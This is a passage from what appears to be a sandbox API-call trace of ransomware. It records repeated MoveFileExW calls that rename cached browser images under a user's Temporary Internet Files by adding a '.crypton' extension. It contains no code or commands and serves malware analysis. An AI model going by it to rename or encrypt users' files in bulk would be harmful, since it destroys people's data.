"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png.crypton"), dwFlags=0x2) returned 1 [0199.953] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png.crypton"), dwFlags=0x2) returned 1 [0199.963] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg.crypton"), dwFlags=0x2) returned 1 [0199.967] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg.crypton"), dwFlags=0x2) returned 1 [0199.970] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg.crypton"), dwFlags=0x2) returned 1 [0199.989] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg.crypton"), dwFlags=0x2) returned 1 [0199.994] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.016] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.020] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.029] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.033] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.046] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.051] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg.crypton"), dwFlags=0x2) returned 1 [0200.055] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.062] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.068] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.078] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.085] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.094] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.103] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.110] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.118] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.123] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.128] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.138] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.147] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg.crypton"), dwFlags=0x2) returned 1 [0200.155] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.159] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg.crypton"), dwFlags=0x2) returned 1 [0200.165] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.169] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.188] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.192] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.196] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png.crypton"), dwFlags=0x2) returned 1 [0200.204] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.208] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.211] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS 